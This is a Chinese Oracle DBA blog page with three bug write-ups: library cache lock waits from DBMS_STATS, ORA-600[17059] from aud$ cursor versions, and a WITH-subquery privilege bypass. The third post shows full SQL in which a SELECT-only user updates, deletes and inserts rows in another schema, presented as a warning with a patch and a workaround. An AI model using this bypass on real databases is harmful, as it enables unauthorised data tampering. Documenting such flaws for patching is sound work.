分类目录归档：Oracle Bug

DBMS_STATS收集子分区表导致library cache lock等待

发表于 2018 年 2 月 4 日 由 惜分飞

有客户反馈一个问题,业务中有一张表无论是查询还是dml操作都非常慢,让我们介入分析
数据库版本
打上了170814比较新的psu

[oracle@xffdb1 ~]$ $ORACLE_HOME/OPatch/opatch lsinventory

Oracle 中间补丁程序安装程序版本 11.2.0.3.15
版权所有 (c) 2018, Oracle Corporation。保留所有权利。


Oracle Home       : /u01/app/oracle/product/11.2.0/db_1
Central Inventory : /u01/app/oraInventory
   from           : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
OPatch version    : 11.2.0.3.15
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2018-01-06_16-20-22下午_1.log


--------------------------------------------------------------------------------
Local Machine Information::
Hostname: xffdb1
ARU platform id: 226
ARU platform description:: Linux x86-64

已安装的顶级产品 (1):

Oracle Database 11g                                                  11.2.0.4.0
此 Oracle 主目录中已安装 1 个产品。


中间补丁程序 (2) :

Patch  26609929     : applied on Fri Sep 15 14:28:51 CST 2017
Unique Patch ID:  21482966
Patch description:  "OCW Patch Set Update : 11.2.0.4.170814 (26609929)"

Patch  26609445     : applied on Fri Sep 15 14:28:04 CST 2017
Unique Patch ID:  21482382
Patch description:  "Database Patch Set Update : 11.2.0.4.170814 (26609445)"

awr数据结果
20180203235626
20180203235701

这里显示大量的library cache lock等待
做systemstate分析

                    Resource Holder State
   LOCK: Handle=0x325d938e08    74: 74: is waiting for PIN: Handle=0x325d938e08
    Enq TX-00E0001B-000004D3   488: 488: is waiting for 74:
              Mutex 1e7fbf6c   322: 322: is waiting for 74:
    Enq TX-02850009-00000086   630: 630: is waiting for 74:
    Enq TX-02BC000A-0000009E    ??? Blocker
    Enq TX-0075000E-000010BE    ??? Blocker
    PIN: Handle=0x325d938e08    ??? Blocker
    Enq TX-049A000C-00000002    ??? Blocker
    Enq TX-034C001D-00000038    ??? Blocker
    Enq TX-052C0012-00000002   669: 669: is waiting for 74:
    Enq TX-04620004-00000003    ??? Blocker
    Enq TX-009B0020-00000DA6    ??? Blocker
              Mutex af4db5a8   242: 242: is waiting for 74:
    Enq TX-041E0002-00000005    ??? Blocker
              Mutex 663b253d   727: 727: is waiting for 74:
    Enq TX-04FA0008-00000003   124: 124: is waiting for 69:
    Enq TX-031D0010-0000005B    ??? Blocker
    Enq TX-02BB0004-000000A2    ??? Blocker
    Enq TX-0248001A-000000CD    69: 69: is waiting for Enq TX-02BC000A-0000009E
    Enq TX-03D70008-00000002    ??? Blocker
    Enq TX-02B1001D-00000081    ??? Blocker
    Enq TX-0423001A-00000003    ??? Blocker
    Enq TX-051A0007-00000003   506: 506: is waiting for 74:
              Mutex 2aceb8e9   602: 602: is waiting for 74:
              Mutex c6b2e0f4   196: 196: is waiting for 74:
    Enq TX-00A30020-0000055A    ??? Blocker
    Enq TX-00D70015-00000315    ??? Blocker
    Enq TX-03B30006-00000012    ??? Blocker
    Enq TX-008C0003-00001005    ??? Blocker
    Enq TX-05470014-00000006   219: 219: is waiting for 74:
    Enq TX-054E0018-00000006   673: 673: is waiting for 74:
              Mutex f28c06f8   279: 279: is waiting for 74:
    Enq TX-03D30012-00000002    ??? Blocker
    Enq TX-055C001B-00000005   333: 333: is waiting for Enq TX-01CF000B-00000B2F

              Mutex 2ff03da9   276: 276: is waiting for 74:
    Enq TX-030A000A-000000B6    ??? Blocker
    Enq TX-00530004-000023DF   212: 212: is waiting for 74:
    Enq TX-05550017-00000002   469: 469: is waiting for 74:
              Mutex 724ba5e3   177: 177: is waiting for 74:
    Enq TX-03C10007-00000015    ??? Blocker
    Enq TX-02E30006-00000079    ??? Blocker
                       IPC 6      6 Blocker
    Enq TX-0289000B-0000005F   449: 449: is waiting for 74:
    Enq TX-021E0002-000001DA    ??? Blocker
              Mutex a9fcc7b8   131: 131: is waiting for 74:
    Enq TX-0483001F-00000009    ??? Blocker
    Enq TX-00800010-00000BA0    ??? Blocker
              Mutex c0af249e   666: 666: is waiting for 74:
              Mutex 94389ed4    78: 78: is waiting for 74:
              Mutex 4ac40611   143: 143: is waiting for 74:
              Mutex 24c1c387   168: 168: is waiting for 74:
              Mutex 930636c9   752: 752: is waiting for 74:
    Enq TX-04660001-00000003    ??? Blocker
    Enq TX-01B6000A-00000022    ??? Blocker
    Enq TX-0166000F-000002C7    ??? Blocker
    Enq TX-02FF0008-000000A1    ??? Blocker
    Enq TX-01E10001-00000023    ??? Blocker
    Enq TX-0327000E-0000009E    ??? Blocker
    Enq TX-05120016-00000002   615: 615: is waiting for 74:
    Enq TX-039F001D-00000011    ??? Blocker
    Enq TX-01CF000B-00000B2F    ??? Blocker
    Enq TX-01130020-000001B6    ??? Blocker
    Enq TX-052A0021-00000002   635: 635: is waiting for 74:
              Mutex ebf68fee   579: 579: is waiting for 74:
    Enq TX-02350017-000000D6    ??? Blocker
    Enq TX-00BB0000-00000598    ??? Blocker
    Enq TX-0443000E-00000003    ??? Blocker
              Mutex e7bae014   344: 344: is waiting for 74:
              Mutex fe251793   616: 616: is waiting for 74:
              Mutex 750494ae   180: 180: is waiting for 74:
    Enq TX-01230010-000001C0    ??? Blocker
    Enq TX-0543001C-00000003   119: 119: is waiting for 124:
    Enq TX-04E60014-00000005    ??? Blocker
    Enq TX-00F1000A-000002AB    ??? Blocker
              Mutex aa83fbd7   651: 651: is waiting for 74:
    Enq TX-058A0002-00000003    ??? Blocker
    Enq TX-03B00016-0000000F    ??? Blocker
              Mutex 26e065a4   150: 150: is waiting for 74:
    Enq TX-0219001B-000001BE    ??? Blocker
    Enq TX-00B9001D-00000069    ??? Blocker
    Enq TX-01110020-00000198    ??? Blocker
    Enq TX-04F3001B-00000002    ??? Blocker
    Enq TX-04A60015-00000002    ??? Blocker
    Enq TX-02D30015-0000008A    ??? Blocker
    Enq TX-01540018-000001B7    ??? Blocker
    Enq TX-02240019-0000001C    ??? Blocker
              Mutex e595002d   502: 502: is waiting for 74:
              Mutex 1661a4cb   732: 732: is waiting for 74:
    Enq TX-00320010-00003A12    ??? Blocker
    Enq TX-020F001F-00000027    ??? Blocker
    Enq TX-0387000A-0000004D   515: 515: is waiting for 74:
    Enq TX-01260014-0000012D    ??? Blocker
    Enq TX-02EE001D-0000005F    ??? Blocker
    Enq TX-004A0001-00000882   603: 603: is waiting for Enq TX-02240019-0000001C

              Mutex 4a18a781   258: 258: is waiting for 74:
   LOCK: Handle=0x325aa4c428   643: 643: is waiting for 74:
    Enq TX-037A0002-0000006E   118: 118: is waiting for 74:
    Enq TX-02460020-0000006D   493: 493: is waiting for Enq TX-00F1000A-000002AB


PROCESS 74: J000
  ----------------------------------------
  SO: 0x31a2b2e440, type: 2, owner: (nil), flag: INIT/-/-/0x00 if: 0x3 c: 0x3
   proc=0x31a2b2e440, name=process, file=ksu.h LINE:12721, pg=0
  (process) Oracle pid:74, ser:153, calls cur/top: 0x305d24c378/0x305f3f5eb0
            flags : (0x0) -
            flags2: (0x10),  flags3: (0x10) 
            intr error: 0, call error: 0, sess error: 0, txn error 0
            intr queue: empty
    ksudlp FALSE at location: 0
  (post info) last post received: 0 0 80
              last post received-location: kji.h LINE:3691 ID:kjata: wake up enqueue owner
              last process to post me: 0x3182a6fca0 1 6
              last post sent: 0 0 26
              last post sent-location: ksa2.h LINE:285 ID:ksasnd
              last process posted by me: 0x3182a75038 2 6
    (latch info) wait_event=0 bits=0x0
    Process Group: DEFAULT, pseudo proc: 0x3162ddbe90
    O/S info: user: oracle, term: UNKNOWN, ospid: 103036 
    OSD pid info: Unix process pid: 103036, image: oracle@xffdb1 (J000)
    Short stack dump: 
      ksedsts()+465<-ksdxfstk()+32<-ksdxcb()+1927<-sspuser()+112<-__sighandler()<-semtimedop()+10
      <-skgpwwait()+178<-ksliwat()+2046<-kslwaitctx()+163<-kjusuc()+3400
      <-ksipgetctxi()+1759<-kqlmPin()+2943<-kqlmClusterLock()+237<-kglpnal()+4072
      <-kglpin()+1381<-qostobkglcrt1()+640<-qostobkglcrt()+255<-qospsts()+1639
      <-spefcmpa()+196<-spefmccallstd()+235<-pextproc()+41<-peftrusted()+150
      <-psdexsp()+255<-rpiswu2()+1776<-psdextp()+700<-pefccal()+726<-pefcal()+224
      <-pevm_FCAL()+169<-pfrinstr_FCAL()+75<-pfrrun_no_tool()+63<-pfrrun()+627
      <-plsql_run()+649<-peidxr_run()+263<-peidxexe()+79<-kkxdexe()+338
      <-kkxmpexe()+241<-kgmexwi()+605<-kgmexec()+2193<-evapls()+813
      <-evaopn2()+808<-kkxmexcs()+133<-opiexe()+20880<-kpoal8()+2380
      <-opiodr()+917<-kpoodr()+1401<-upirtrc()+2436<-kpurcsc()+98
      <-kpuexec()+10790<-OCIStmtExecute()+39<-jslvec_execcb1()+672
      <-jslvswu()+56<-jslve_execute0()+2257<-jslve_execute()+332
      <-rpiswu2()+1776<-kkjex1e()+379<-kkjsexe()+711<-kkjrdp()+694
      <-opirip()+958<-opidrv()+603<-sou2o()+103<-opimai_real()+250
      <-ssthrdmain()+265<-main()+201<-__libc_start_main()+253


    SO: 0x31c382f010, type: 4, owner: 0x31a2b2e440, flag: INIT/-/-/0x00 if: 0x3 c: 0x3
     proc=0x31a2b2e440, name=session, file=ksu.h LINE:12729, pg=0
    (session) sid: 6001 ser: 679 trans: 0x311e36fa28, creator: 0x31a2b2e440
              flags: (0x8010041) USR/- flags_idl: (0x1) BSY/-/-/-/-/-
              flags2: (0x40009) -/-/INC
              DID: , short-term DID: 
              txn branch: (nil)
              edition#: 100              oct: 170, prv: 0, sql: 0x323de178e8, psql: 0x32b5d0fc98, user: 0/SYS
    ksuxds FALSE at location: 0
    service name: SYS$USERS
    client details:
      O/S info: user: oracle, term: UNKNOWN, ospid: 103036
      machine: xffdb1 program: oracle@xffdb1 (J000)
      application name: DBMS_SCHEDULER, hash value=2478762354
      action name: ORA$AT_OS_OPT_SY_1594, hash value=1524069073
    Current Wait Stack:
     0: waiting for 'library cache pin'
        handle address=0x325d938e08, pin address=0x325baec3e0, 100*mode+namespace=0x850fe00010003
        wait_id=46488 seq_num=46502 snap_id=1
        wait times: snap=6 min 2 sec, exc=6 min 2 sec, total=6 min 2 sec
        wait times: max=15 min 0 sec, heur=6 min 2 sec
        wait counts: calls=727 os=727
        in_wait=1 iflags=0x15a2
    There are 2136 sessions blocked by this session.

发现主要是74号进程阻塞了其他的
做hanganalyze分析

-------------------------------------------------------------------------------
Chain 1:
-------------------------------------------------------------------------------
    Oracle session identified by:
    {
                instance: 1 (xffdb.xffdbsv1)
                   os id: 82310
              process id: 224, oracle@xffdb1
              session id: 4
        session serial #: 12237
    }
    is waiting for 'enq: TX - row lock contention' with wait info:
    {
                      p1: 'name|mode'=0x54580006
                      p2: 'usn<<16 | slot'=0x21e0002
                      p3: 'sequence'=0x1da
            time in wait: 3 min 48 sec
           timeout after: never
                 wait id: 1260
                blocking: 0 sessions
             current sql: UPDATE t_xifenfei subpartition(p201801_s32)
                            SET INDICATORCODE   = :1,
                                LOWERLIMIT      = :2,
                                UPPERLIMIT      = :3,
                                AVGUNITPRICE    = :4,
                                TRADEITEMNAME   = :5,
    
             short stack: ………………
            wait history:
              * time between current wait and wait #1: 0.000220 sec
              1.       event: 'gc cr block 2-way'
                 time waited: 0.000341 sec
                     wait id: 1259            p1: ''=0x6
                                              p2: ''=0x3590
                                              p3: ''=0x44b
              * time between wait #1 and #2: 0.000284 sec
              2.       event: 'gc current block 3-way'
                 time waited: 0.000663 sec
                     wait id: 1258            p1: ''=0xa
                                              p2: ''=0x3ad02
                                              p3: ''=0x2000001
              * time between wait #2 and #3: 0.000383 sec
              3.       event: 'gc cr block 2-way'
                 time waited: 0.000288 sec
                     wait id: 1257            p1: ''=0x5
                                              p2: ''=0x2e20
                                              p3: ''=0x957
    }
    and is blocked by
 => Oracle session identified by:
    {
                instance: 3 (xffdb.xffdbsv3)
                   os id: 39472
              process id: 587, oracle@xffdb3
              session id: 2215
        session serial #: 8213
    }
    which is waiting for 'library cache lock' with wait info:
    {
                      p1: 'handle address'=0x327f5ecea0
                      p2: 'lock address'=0x327a5ab660
                      p3: '100*mode+namespace'=0x850fe00010002
            time in wait: 3 min 43 sec
           timeout after: 11 min 16 sec
                 wait id: 2343
                blocking: 3 sessions
             current sql: SELECT COUNT(*) COUNT
                          FROM t_xifenfei subpartition(p201801_s32)
                         WHERE TRADEITEMID = '679EA6DE428F414D014B3D5EC8DE5E32'
             short stack:  ………………
                 wait history:
              * time between current wait and wait #1: 0.000908 sec
              1.       event: 'SQL*Net message from client'
                 time waited: 0.001074 sec
                     wait id: 2342            p1: 'driver id'=0x54435000
                                              p2: '#bytes'=0x1
              * time between wait #1 and #2: 0.000033 sec
              2.       event: 'SQL*Net message to client'
                 time waited: 0.000003 sec
                     wait id: 2341            p1: 'driver id'=0x54435000
                                              p2: '#bytes'=0x1
              * time between wait #2 and #3: 0.000069 sec
              3.       event: 'SQL*Net message from client'
                 time waited: 0.001232 sec
                     wait id: 2340            p1: 'driver id'=0x54435000
                                              p2: '#bytes'=0x1
    }
    and is blocked by
 => Oracle session identified by:
    {
                instance: 1 (xffdb.xffdbsv1)
                   os id: 103036
              process id: 74, oracle@xffdb1 (J000)
              session id: 6001
        session serial #: 679
    }
    which is waiting for 'library cache pin' with wait info:
    {
                      p1: 'handle address'=0x325d938e08
                      p2: 'pin address'=0x325baec3e0
                      p3: '100*mode+namespace'=0x850fe00010003
            time in wait: 3 min 47 sec
           timeout after: 11 min 12 sec
                 wait id: 46488
                blocking: 2099 sessions
             current sql: call dbms_stats.gather_database_stats_job_proc (  )
             short stack: …………
            wait history:
              * time between current wait and wait #1: 0.000038 sec
              1.       event: 'library cache lock'
                 time waited: 0.012353 sec
                     wait id: 46487           p1: 'handle address'=0x325d938e08
                                              p2: 'lock address'=0x3259aee680
                                              p3: '100*mode+namespace'=0x850fe00010003
              * time between wait #1 and #2: 0.002509 sec
              2.       event: 'enq: IV -  contention'
                 time waited: 0.001079 sec
                     wait id: 46486           p1: 'type|mode'=0x49560005
                                              p2: 'id1'=0x53594e43
                                              p3: 'id2'=0x15
              * time between wait #2 and #3: 0.000085 sec
              3.       event: 'enq: IV -  contention'
                 time waited: 0.001817 sec
                     wait id: 46485           p1: 'type|mode'=0x49560005
                                              p2: 'id1'=0x4c4f434b
                                              p3: 'id2'=0x15
    }
 
Chain 1 Signature: 'library cache pin'<='library cache lock'<='enq: TX - row lock contention'
Chain 1 Signature Hash: 0xa08ff7bf

到这里基本上可以确定是由于自动任务收集统计信息导致系统出现大量的library cache lock和library cache pin,另外可以确定大部分被阻塞在library cache 相关的select和dml语句都集中在t_xifenfei这个子分区表中,通过查询mos,发现相关bug:Bug 19790972 – “library cache lock” waits due to DBMS_STATS gather of stats for a subpartition
20180204002507

发表在 Oracle Bug | 标签为 , | 评论关闭

insert into aud$引起高版本问题导致ORA-600[17059]

发表于 2016 年 3 月 20 日 由 惜分飞

昨天晚上有朋友咨询我,他数据库(win2008 11.2.0.1 单机)出现大量ORA-00600[17059],如下错误,让帮忙分析原因
alert日志报错

Sat Mar 19 21:31:02 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3336.trc  (incident=45304):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
ORA-28001: 口令已经失效
Sat Mar 19 21:31:06 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_4168.trc  (incident=45166):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
Sat Mar 19 21:31:09 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_2928.trc  (incident=45342):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
Sat Mar 19 21:31:12 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc  (incident=45399):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
ORA-28001: 口令已经失效
Sat Mar 19 21:31:17 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_5884.trc  (incident=45255):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
ORA-28001: 口令已经失效
Sat Mar 19 21:31:21 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_2976.trc  (incident=45305):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
ORA-28001: 口令已经失效
Sat Mar 19 21:31:24 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_6068.trc  (incident=45256):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
ORA-28001: 口令已经失效
Sat Mar 19 21:31:28 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_6044.trc  (incident=45351):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
ORA-28001: 口令已经失效
Sat Mar 19 21:31:32 2016
Errors in file d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_2928.trc  (incident=45343):
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []
ORA-02002: 写入审计线索时出错

这里虽然报了ORA-00600[17059],ORA-28001,ORA-02002但是根据经验感觉很可能是由于ORA-00600[17059]错误导致后面的其他两个错误.

trace文件信息

Dump continued from file: d:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_5484.trc
ORA-00600: 内部错误代码, 参数: [17059], [0x49BE74CB0], [0x49BE75548], [0x4A9A0FFD0], [], [], [], [], [], [], [], []

========= Dump for incident 45253 (ORA 600 [17059]) ========

*** 2016-03-19 21:28:34.244
dbkedDefDump(): Starting incident default dumps (flags=0x2, level=3, mask=0x0)
----- Current SQL Statement for this session (sql_id=4vs91dcv7u1p6) -----
insert into sys.aud$( sessionid,entryid,statement,ntimestamp#, userid,userhost,terminal,action#,returncode,
 obj$creator,obj$name,auth$privileges,auth$grantee, new$owner,new$name,ses$actions,ses$tid,logoff$pread, 
logoff$lwrite,logoff$dead,comment$text,spare1,spare2,  priv$used,clientid,sessioncpu,proxy$sid,user$guid, 
instance#,process#,xid,scn,auditid,  sqlbind,sqltext,obj$edition,dbid)  values(:1,:2,:3,SYS_EXTRACT_UTC(SYSTIMESTAMP),   
  :4,:5,:6,:7,:8,     :9,:10,:11,:12,     :13,:14,:15,:16,:17,     :18,:19,:20,:21,:22,     :23,:24,:25,:26,:27,  
   :28,:29,:30,:31,:32,     :33,:34,:35,:36)

----- Call Stack Trace -----
calling              call     entry                argument values in hex      
location             type     point                (? means dubious value)     
-------------------- -------- -------------------- ----------------------------
ksedst1()+129        CALL???  skdstdst()           009173DA2 000000000 000000000
                                                   000000000
ksedst()+69          CALL???  ksedst1()            000000002 000000000 006F605E0
                                                   000000000
dbkedDefDump()+4536  CALL???  ksedst()             000000287 000000000 000000000
                                                   000000000
ksedmp()+43          CALL???  dbkedDefDump()       000000003 000000002 000000000
                                                   000468E71
ksfdmp()+87          CALL???  ksedmp()             000000000 000000000 000000000
                                                   000000000
dbgexPhaseII()+1819  CALL???  ksfdmp()             000000000 000000000 000000000
                                                   000000000
dbgexProcessError()  CALL???  dbgexPhaseII()       021160570 02116D448 00000B0C5
+2563                                              000000002
dbgeExecuteForError  CALL???  dbgexProcessError()  021160570 021167540 000000001
()+65                                              000000000
dbgePostErrorKGE()+  CALL???  dbgeExecuteForError  025455460 00000000C 000000001
1726                          ()                   4A9A0FFD0
dbkePostKGE_kgsf()+  CALL???  dbgePostErrorKGE()   025455460 024690040 000000258
75                                                 7F883243A05D
kgeade()+560         CALL???  dbkePostKGE_kgsf()   000000001 000000000 00A684E58
                                                   00A5553E2
kgeriv_int()+111     CALL???  kgeade()             024444C49 000000000 000000000
                                                   000000000
kgeriv()+29          CALL???  kgeriv_int()         000000000 000000001 02B474DD0
                                                   000000001
kgesiv()+105         CALL???  kgeriv()             461A8AD00 7F883243A05D
                                                   025455460 000000001
kgesic3()+60         CALL???  kgesiv()             401122000 000000000 009B4310C
                                                   4A9A0EC80
kgltba()+739         CALL???  kgesic3()            000000200 6236313231656434
                                                   4000042A3 000000002
kglhdgc()+384        CALL???  kgltba()             4A095BC50 461A31858 02B476418
                                                   000000001
kglLock()+3063       CALL???  kglhdgc()            000000000 000020C68 4ADE08E18
                                                   000000008
kglget()+403         CALL???  kglLock()            02B476008 02B475360 02B475360
                                                   0004D112F
kxsGetLookupLock()+  CALL???  kglget()             025455460 02B4756A0 000000001
327                                                000000003
kksfbc()+14464       CALL???  kxsGetLookupLock()   4AC4EDFB0 0004FD4CA 0246CC6B8
                                                   4AC4EDFB0
kkspsc0()+2117       CALL???  kksfbc()             0246CC6B8 000000003 000000008
                                                   0070D7F80
kksParseCursor()+18  CALL???  kkspsc0()            0246B19B8 0070D7F80 000000256
1                                                  000000003
opiosq0()+2538       CALL???  kksParseCursor()     000000000 025454EA0 000000000
                                                   0033917DF
opiosq()+23          CALL???  opiosq0()            000000003 00000000F 02B478A28
                                                   025450000
opiodr()+1662        CALL???  opiosq()             0746E6172 000000002 06567656C
                                                   000000000
rpidrus()+862        CALL???  opiodr()             00000004A 00000000F 02B478A28
                                                   000000001
rpidru()+154         CALL???  rpidrus()            02B478028 000000001 000000000
                                                   000400000
rpiswu2()+2757       CALL???  rpidru()             02B4788B0 000000000
                                                   1D181E32DAE2234 000000000
rpidrv()+6105        CALL???  rpiswu2()            4AC4EC300 000000000 02B478680
                                                   000000002
rpisplu()+1607       CALL???  rpidrv()             400000001 7F880000004A
                                                   02B478A28 000000008
audins()+2562        CALL???  rpisplu()            000000001 000000000 000000000
                                                   000000000
audlon()+1286        CALL???  audins()             000005028 0070D9274 0070D9280
                                                   000000036
auddft()+2140        CALL???  audlon()             006F79DE0 0092ACAF1 000000000
                                                   000000000
kpolnb()+4007        CALL???  auddft()             0246AF458 000000064 000000000
                                                   000000000
kpolon()+237         CALL???  kpolnb()             1D181E300000051 02B47AF20
                                                   000000000 000026161
opiodr()+1662        CALL???  kpolon()             000000001 000000000 000000000
                                                   00A42F224
ttcpip()+1325        CALL???  opiodr()             4800000000000051 40000001A
                                                   02B47E100 000000000
opitsk()+2040        CALL???  ttcpip()             02546F180 000000000 000000000
                                                   000000000
opiino()+1258        CALL???  opitsk()             000000000 000000000 000000000
                                                   02B47F9F8
opiodr()+1662        CALL???  opiino()             00000003C 000000004 02B47FAB0
                                                   000000000
opidrv()+864         CALL???  opiodr()             00000003C 000000004 02B47FAB0
                                                   615C3A6400000000
sou2o()+98           CALL???  opidrv()+150         00000003C 000000004 02B47FAB0
                                                   000000000
opimai_real()+158    CALL???  sou2o()              1D181E32DAE2234 000000000
                                                   150013000307E0 601B80009001C
opimai()+191         CALL???  opimai_real()        000000000 02B47FC68 01D3200A0
                                                   02B47FC68
OracleThreadStart()  CALL???  opimai()             000000000 006DF0B34 0000000E0
+724                                               0000027CC
0000000076E1652D     CALL???  OracleThreadStart()  02957FF18 000000000 000000000
                                                   000000000
0000000076F4C521     CALL???  0000000076E16520     000000000 000000000 000000000
                                                   000000000
 

--------------------- Binary Stack Dump ---------------------

LibraryObject:  Address=9be74cb0 HeapMask=0000-0001-0001 Flags=EXS[0000] Flags2=[0000] PublicFlags=[0000] 
  ChildTable:  size='32768' 
    Child:  id='0' Table=9be75b60 Reference=9be75600 Handle=a9a0eb20 
    Child:  id='1' Table=9be75b60 Reference=9be61ed8 Handle=a9a06700 
    Child:  id='2' Table=9be75b60 Reference=9be621f0 Handle=a9a06500 
    Child:  id='3' Table=9be75b60 Reference=9be62528 Handle=a9997200 
    Child:  id='4' Table=9be75b60 Reference=9be62818 Handle=a99597a8 
    Child:  id='5' Table=9be75b60 Reference=9be62b50 Handle=a99cd210 
    Child:  id='6' Table=9be75b60 Reference=9bd0a418 Handle=a994a308 
    Child:  id='7' Table=9be75b60 Reference=9bd0a750 Handle=a9920980 
    Child:  id='8' Table=9be75b60 Reference=9bd0aa40 Handle=a99a6d48 
    Child:  id='9' Table=9be75b60 Reference=9bd0ad78 Handle=a99a6918 
    Child:  id='10' Table=9be75b60 Reference=9bd0b068 Handle=a9993388 
    …………
    Child:  id='32764' Table=becbd118 Reference=bec882d8 Handle=522c1118 
    Child:  id='32765' Table=becbd118 Reference=bec7c708 Handle=52319608 
    Child:  id='32766' Table=becbd118 Reference=bec7c9f8 Handle=522c0f18 
    Child:  id='32767' Table=becbd118 Reference=bec7cd30 Handle=522a7858

结合trace信息,我们可以发现高版本数量已经到了32768,理论最大值.因此数据库报了ORA-600[17059]错误(以前写过类似文章:因为高版本引起ORA-00600[17059]),并且引起了其他的ORA-错误.通过查询数据库高版本信息,在重启一会儿的库中,发现
insert-aud$

过几分钟后
insert-aud$-高版本

通过这里,进一步诊断,引起高版本的sql，是由于aud$表相关的插入时绑定参数导致（如果需要可以进一步分析是由于什么原因导致了高版本）.这里根据经验具体原因已经不再重要，对于11.2.0.1版本,本身bug比较多,且暂时无法升级
处理方法
1.因为本库的本地审计意义不大直接从数据库层面关闭

audit_trail='none'

2.在11g的初始版本中,acs特性导致子游标过多,建议关闭

_optimizer_adaptive_cursor_sharing=false 
_optimizer_extended_cursor_sharing=none 
_optimizer_extended_cursor_sharing_rel=none

3.限制数据库sql游标数量，当游标超过该数量直接抛弃重新硬解析

_cursor_features_enabled=34
event='106001 trace name context forever,level 100'

通过以上配置，重启数据库之后,运行一天alert日志未再出现任何错误,通过查询mos匹配Bug 10196339 : ORA600[17059] OCCURS DUE TO BIND_MISMATCH

发表在 Oracle Bug | 标签为 , , , | 2 条评论

通过with实现对表非法dml操作—解决方案_with_subquery=materialize或者psu(2014.07以后)

发表于 2015 年 5 月 25 日 由 惜分飞

最近网上流传的通过with绕过权限实现非法更新表数据,存在较大风险.对于cpu bug在2014年07月份psu中修复,建议升级对应psu,如果条件不允许,可以通过_with_subquery参数临时规避该风险
数据库版本信息

SQL> select * from v$version;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
PL/SQL Release 11.2.0.4.0 - Production
CORE    11.2.0.4.0      Production
TNS for Linux: Version 11.2.0.4.0 - Production
NLSRTL Version 11.2.0.4.0 - Production

[oracle@localhost ~]$ opatch lsinventory
Oracle Interim Patch Installer version 11.2.0.3.4
Copyright (c) 2012, Oracle Corporation.  All rights reserved.


Oracle Home       : /u01/app/oracle/product/11.2.0/db_1
Central Inventory : /u01/app/oraInventory
   from           : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
OPatch version    : 11.2.0.3.4
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2015-05-25_20-38-37PM_1.log

Lsinventory Output file location : /u01/app/oracle/product/11.2.0/db_1/
cfgtoollogs/opatch/lsinv/lsinventory2015-05-25_20-38-37PM.txt

--------------------------------------------------------------------------------
Installed Top-level Products (1): 

Oracle Database 11g                                                  11.2.0.4.0
There are 1 products installed in this Oracle Home.


There are no Interim patches installed in this Oracle Home.


--------------------------------------------------------------------------------

OPatch succeeded.

该数据库版本为11.2.0.4,未安装任何psu补丁

根据恩墨的测试重新bug信息
可以参考原link:Oracle数据库高危漏洞警告！

SQL> conn chf/xifenfei
Connected.
SQL> create table t_dml as select * from dba_users;

Table created.

SQL> create user xifenfei_dml identified by "www.xifenfei.com";

User created.

SQL> grant create session to xifenfei_dml;

Grant succeeded.

SQL> grant select on chf.t_dml to xifenfei_dml;

Grant succeeded.

SQL> 

SQL> grant select on chf.t_dml to xifenfei_dml;

Grant succeeded.

SQL> conn xifenfei_dml/"www.xifenfei.com"
Connected.

SQL>  select count(*) from chf.t_dml;

  COUNT(*)
----------
        32

SQL>  select username,user_id from chf.t_dml where rownum <= 2;

USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
SYSTEM                                  5

SQL> update chf.t_dml set username='www.xifenfei.com' where user_id = 5;
update chf.t_dml set username='www.xifenfei.com' where user_id = 5
           *
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;

1 row updated.

SQL> commit;

Commit complete.

SQL> select username,user_id from chf.t_dml where rownum <= 2;

USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
www.xifenfei.com                        5

SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;

1 row deleted.

SQL> commit;

Commit complete.

SQL> select username,user_id from chf.t_dml where user_id=5;

no rows selected

SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;

9 rows created.

SQL> commit;

Commit complete.

SQL> select count(*) from chf.t_dml;

  COUNT(*)
----------
        40

